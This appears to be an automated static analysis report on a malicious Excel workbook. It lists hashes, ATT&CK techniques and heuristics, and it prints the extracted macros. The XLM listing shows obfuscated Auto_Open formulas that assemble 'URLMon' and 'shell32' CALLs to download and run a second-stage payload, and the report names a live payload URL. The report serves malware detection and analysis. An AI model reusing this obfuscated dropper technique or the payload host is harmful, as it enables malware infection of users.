Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 6159706e7dbab50f…

MALICIOUS

Office (OLE) / .XLS

426.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2026-05-16
MD5: 3d870c428fb961b8675efe2633bd5bc3 SHA-1: d2961469b48dab042198573b4cee47c0ed687c5f SHA-256: 6159706e7dbab50f12143da96803ecd5dd73f0528fab5776394e75d6d4982f56
350 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The sample is an Excel file containing both VBA and Excel 4.0 (XLM) macros. The XLM macros are configured to auto-execute upon opening, utilizing dangerous functions like RUN and CONCATENATE to construct and execute commands. The Workbook_Open VBA macro also attempts to close the application, likely to hide its execution. The presence of URLDownloadToFile API calls and an embedded URL suggests the macro's purpose is to download and execute a second-stage payload.

Heuristics 10

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.notamuzikaletleri.com/19.gif Referenced by macro
    • https://www.notamuzikaletleri.com/19.gif�Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 9455 bytes
SHA-256: e26e570691e37538cb153a294d4bd7899ebc79f39ec63fd34cf1eae37efa26f6
Preview script
First 1,000 lines of the extracted script
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -    8 
' 0085     18 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -    8 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d    8 !A50 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'    8 ,A106,RUN(B107),""
'    8 ,B107,"RUN(A1001,A1005)",""
'    8 ,N315,"",45.00000000000000000000
'    8 ,N316,"",78.00000000000000000000
'    8 ,N317,"",6.00000000000000000000
'    8 ,N318,"",28.00000000000000000000
'    8 ,N319,"",81.00000000000000000000
'    8 ,N320,"",31.00000000000000000000
'    8 ,N321,"",100.00000000000000000000
'    8 ,N322,"",92.00000000000000000000
'    8 ,N323,"",89.00000000000000000000
'    8 ,N324,"",2.00000000000000000000
'    8 ,N325,"",60.00000000000000000000
'    8 ,N326,"",80.00000000000000000000
'    8 ,N327,"",100.00000000000000000000
'    8 ,N328,"",20.00000000000000000000
'    8 ,N329,"",100.00000000000000000000
'    8 ,N330,"",90.00000000000000000000
'    8 ,N331,"",90.00000000000000000000
'    8 ,N332,"",40.00000000000000000000
'    8 ,N338,"",17.00000000000000000000
'    8 ,N339,"",4.00000000000000000000
'    8 ,N340,"",0.00000000000000000000
'    8 ,N341,"",4.00000000000000000000
'    8 ,DJ341,"CONCATENATE(DJ342&DJ343&DJ344,DJ345)",""
'    8 ,N342,"",8.00000000000000000000
'    8 ,DJ342,CHAR(DL342&DM342),""
'    8 ,N343,"",3.00000000000000000000
'    8 ,DJ343,CHAR(DK343*DL343-DM343),""
'    8 ,N344,"",0.00000000000000000000
'    8 ,DJ344,CHAR(DK344&DL344&DM344),""
'    8 ,N345,"",1.00000000000000000000
'    8 ,DJ345,CHAR(DK345*DL345+DM345),""
'    8 ,N346,"",0.00000000000000000000
'    8 ,N347,"",50.00000000000000000000
'    8 ,N348,"",16.00000000000000000000
'    8 ,N349,"",1.00000000000000000000
'    8 ,N350,"",15.00000000000000000000
'    8 ,IJ434,CHAR(IK434+IL434+DG490),""
'    8 ,GX437,CHAR(GY437+GZ437+DG504),""
'    8 ,GG438,CONCATENATE(IJ434&IF467&HM441&FI504&GE481&HY501&HM503&FP439&FO534&FR475&IM531&IS500&GY475&HX537&GX437&HB531&GG455&GH506),""
'    8 ,FP439,CHAR(FQ439-FR439-DG497),""
'    8 ,HM441,CHAR(HN441+HO441+DG492),""
'    8 ,GG455,CHAR(GH455+GI455+DG506),""
'    8 ,IF467,CHAR(IG467+IH467+DG491),""
'    8 ,FR475,CHAR(FS475-FT475-DG499),""
'    8 ,GY475,CHAR(GZ475+HA475+DG502),""
'    8 ,GE481,CHAR(GF481+GG481+DG494),""
'    8 ,DG490,"",45.00000000000000000000
'    8 ,DG491,"",78.00000000000000000000
'    8 ,DG492,"",6.00000000000000000000
'    8 ,DG493,"",28.00000000000000000000
'    8 ,DG494,"",81.00000000000000000000
'    8 ,DG495,"",31.00000000000000000000
'    8 ,DG496,"",100.00000000000000000000
'    8 ,DG497,"",92.00000000000000000000
'    8 ,DG498,"",89.00000000000000000000
'    8 ,DG499,"",2.00000000000000000000
'    8 ,DG500,"",60.00000000000000000000
'    8 ,IS500,CHAR(IT500+IU500+DG501),""
'    8 ,DG501,"",80.00000000000000000000
'    8 ,HY501,CHAR(HZ501-IA501-DG495),""
'    8 ,DG502,"",100.00000000000000000000
'    8 ,DG503,"",20.00000000000000000000
'    8 ,HM503,CHAR(HN503-HO503-DG496),""
'    8 ,DG504,"",100.00000000000000000000
'    8 ,FI504,CHAR(FJ504+FK504+DG493),""
'    8 ,DG505,"",90.00000000000000000000
'    8 ,DG506,"",90.00000000000000000000
'    8 ,GH506,CHAR(GI506+GJ506+DG507),""
'    8 ,DG507,"",40.00000000000000000000
'    8 ,DG513,"",17.00000000000000000000
'    8 ,DG514,"",4.00000000000000000000
'    8 ,DG515,"",0.00000000000000000000
'    8 ,DG516,"",4.00000000000000000000
'    8 ,DG517,"",8.00000000000000000000
'    8 ,DG518,"",3.00000000000000000000
'    8 ,DG519,"",0.00000000000000000000
'    8 ,DG520,"",1.00000000000000000000
'    8 ,DG521,"",0.00000000000000000000
'    8 ,DG522,"",50.00000000000000000000
'    8 ,DG523,"",16.00000000000000000000
'    8 ,DG524,"",1.00000000000000000000
'    8 ,DG525,"",15.00000000000000000000
'    8 ,HB531,CHAR(HC531+HD531+DG505),""
'    8 ,IM531,CHAR(IN531+IO531+DG500),""
'    8 ,FO534,CHAR(FP534-FQ534-DG498),""
'    8 ,HX537,CHAR(HY537+HZ537+DG503),""
'    8 ,HW579,"",25.00000000000000000000
'    8 ,FW583,CHAR(HR604/IA660+FZ583),""
'    8 ,FZ583,"",0.00000000000000000000
'    8 ,IU584,"",25.00000000000000000000
'    8 ,GX587,CHAR(GI596+FT622+HA587),""
'    8 ,HA587,"",4.00000000000000000000
'    8 ,IH591,CHAR(IU584+HW579+IQ662),""
'    8 ,EO595,CONCATENATE(EO596&EO597&EO598&EO600&EO601&EO602&EO603&EO604),""
'    8 ,EO596,CHAR(EP596+EQ596+ER596),""
'    8 ,GI596,"",100.00000000000000000000
'    8 ,EO597,CHAR(EP597-EQ597-ER597),""
'    8 ,EO598,CHAR(EP598/EQ598+ER598),""
'    8 ,EO600,CHAR(EP600*EQ600+ER600),""
'    8 ,EO601,CHAR(EP601+EQ601-ER601),""
'    8 ,EO602,CHAR(EP602+EQ602+ER602),""
'    8 ,EO603,CHAR(EP603-EQ603+ER603),""
'    8 ,EO604,CHAR(EP604/EQ604+ER604),""
'    8 ,HR604,"",2000050.00000000000000000000
'    8 ,GB608,CONCATENATE(IH591&IH644&GX587&HA624&GD660&HP679&IP680&FW583),""
'    8 ,IJ615,"",303.00000000000000000000
'    8 ,FT622,"",10.00000000000000000000
'    8 ,GK623,"",110.00000000000000000000
'    8 ,HA624,CHAR(IR640-FQ654-GK623),""
'    8 ,IW627,"",101.00000000000000000000
'    8 ,HT629,"",101.00000000000000000000
'    8 ,GD638,"",25.00000000000000000000
'    8 ,IR640,"",330.00000000000000000000
'    8 ,IH644,CHAR(IJ615-HT629-IW627),""
'    8 ,IZ649,"",1.00000000000000000000
'    8 ,FQ654,"",110.00000000000000000000
'    8 ,GY657,"",2.00000000000000000000
'    8 ,HK657,"",100.00000000000000000000
'    8 ,GD660,CHAR(GD638*GF678+FV688),""
'    8 ,IA660,"",40001.00000000000000000000
'    8 ,IQ662,"",25.00000000000000000000
'    8 ,HX669,"",5.00000000000000000000
'    8 ,GF678,"",4.00000000000000000000
'    8 ,HP679,CHAR(GY657+HA687+HK657),""
'    8 ,IP680,CHAR(HX669*IE691+IZ649),""
'    8 ,HA687,"",6.00000000000000000000
'    8 ,FV688,"",1.00000000000000000000
'    8 ,IE691,"",10.00000000000000000000
'    8 ,GF800,"CONCATENATE(GF801&GF802&GF803&GF804&GF805&GF806&GF807&GF808&GF809&GF810&GF811,GF812,GF813,GF814,GF815,GF816,GF817,GF818,GF819,GF820,GF821,GF822,GF823,GF824,GF825,GF826,GF827,GF828)",""
'    8 ,GF801,CHAR(GG801+GH801+GI801),""
'    8 ,GF802,CHAR(GG802*GH802+GI802),""
'    8 ,GF803,CHAR(GG803*GH803+GI803),""
'    8 ,GF804,CHAR(GG804*GH804+GI804),""
'    8 ,GF805,CHAR(GG805*GH805-GI805),""
'    8 ,GF806,CHAR(GG806*GH806+GI806),""
'    8 ,GF807,CHAR(GG807*GH807+GI807),""
'    8 ,GF808,CHAR(GG808/GH808-GI808),""
'    8 ,GF809,CHAR(GG809/GH809+GI809),""
'    8 ,GF810,CHAR(GG810-GH810+GI810),""
'    8 ,GF811,CHAR(GG811+GH811+GI811),""
'    8 ,GF812,CHAR(GG812-GH812-GI812),""
'    8 ,GF813,CHAR(GG813+GH813+GI813),""
'    8 ,GF814,CHAR(GG814+GH814-GI814),""
'    8 ,GF815,CHAR(GG815/GH815+GI815),""
'    8 ,GF816,CHAR(GG816-GH816+GI816),""
'    8 ,GF817,CHAR(GG817*GH817+GI817),""
'    8 ,GF818,CHAR(GG818-GH818+GI818),""
'    8 ,GF819,CHAR(GG819*GH819+GI819),""
'    8 ,GF820,CHAR(GG820*GH820-GI820),""
'    8 ,GF821,CHAR(GG821-GH821+GI821),""
'    8 ,GF822,CHAR(GG822+GH822-GI822),""
'    8 ,GF823,CHAR(GG823-GH823+GI823),""
'    8 ,GF824,CHAR(GG824/GH824+GI824),""
'    8 ,GF825,CHAR(GG825*GH825-GI825),""
'    8 ,GF826,CHAR(GG826+GH826-GI826),""
'    8 ,GF827,CHAR(GG827-GH827-GI827),""
'    8 ,GF828,CHAR(GG828+GH828-GI828),""
'    8 ,GS972,CHAR(HI1065+HJ1065+DG515),""
'    8 ,HE972,CHAR(HE1067/HF1067-DG513),""
'    8 ,GG976,CHAR(HM1067/HN1067+DG519),""
'    8 ,FT979,CHAR(FU979/FV979+DG520),""
'    8 ,A1001,"CALL(GB608,H12000,"JCJ",EO595,0)",""
'    8 ,A1002,"CALL(GB608,H12000,"JCJ","C:\WErtu"&B1016,0)",""
'    8 ,A1005,"CALL(A1017,GG438,"JJCCJJ",0,B1004,GF800,0,0)",""
'    8 ,A1006,"CALL(A1018,HM1231,"JJCCCCJ",0,DJ341,GF800,,0,0)",""
'    8 ,A1007,HALT(),""
'    8 ,B1016,"CONCATENATE("\"&"R","e"&"t","e"&"r","d")",""
'    8 ,A1017,"CONCATENATE("U"&"R","L"&"M","o"&"n")",""
'    8 ,A1018,"CONCATENATE("s"&"h","e"&"l","l"&"3","2")",""
'    8 ,GJ1026,CHAR(FW1065+FX1065+DG523),""
'    8 ,GX1027,CHAR(GG1065/GH1065+DG517),""
'    8 ,FS1032,CHAR(GA1064+GB1064+DG522),""
'    8 ,HK1033,CHAR(GM1066+GN1066+DG516),""
'    8 ,FW1160,CHAR(FQ1066*FR1066+DG521),""
'    8 ,HL1161,CHAR(HA1069/HB1069+DG514),""
'    8 ,GU1164,CHAR(GU1069+GV1069+DG518),""
'    8 ,HM1231,CONCATENATE(HE972&HL1161&GS972&HK1033&GX1027&GU1164&GG976&FT979&FW1160&FS1032&GJ1026&FW1279&FW1280),""
'    8 ,FW1279,CHAR(HS1064*HT1064+DG524),""
'    8 ,FW1280,CHAR(GE1065+GF1065+DG525),""
'    8 ,V11989,CHAR(W11989+X11989+Y11989),""
'    8 ,EA11991,CHAR(EB11991-EC11991-ED11991),""
'    8 ,H12000,(DA12162&BI12014&BX12089&I12109&DJ12037&DZ12339&A12083&L12273&BJ12171&CH12224&DY12114&EA11991&CO12030&BR12336&V11989&H12016),""
'    8 ,BI12014,CHAR(BJ12014+BK12014+BL12014),""
'    8 ,H12016,CHAR(I12016+J12016+K12016),""
'    8 ,CO12030,CHAR(CP12030-CQ12030-CR12030),""
'    8 ,DJ12037,CHAR(DK12037+DL12037+DM12037),""
'    8 ,A12083,CHAR(B12084*C12084+D12084),""
'    8 ,BX12089,CHAR(BY12089-BZ12089-CA12089),""
'    8 ,I12109,CHAR(J12109-K12109-L12109),""
'    8 ,DY12114,CHAR(DZ12114+EA12114+EB12114),""
'    8 ,DA12162,CHAR(DB12162+DC12162+DD12162),""
'    8 ,BJ12171,CHAR(BK12171/BL12171+BM12171),""
'    8 ,CH12224,CHAR(CI12224+CJ12224+CK12224),""
'    8 ,L12273,CHAR(M12273/N12273+O12273),""
'    8 ,BR12336,CHAR(BS12336+BT12336+BU12336),""
'    8 ,DZ12339,CHAR(EA12339*EB12339+EC12339),""
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 977 bytes
SHA-256: 8c21c322bb8b23e7dbfa4da0de1c41676162b0810e96582d1365413c12adc768
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

   Application.Quit
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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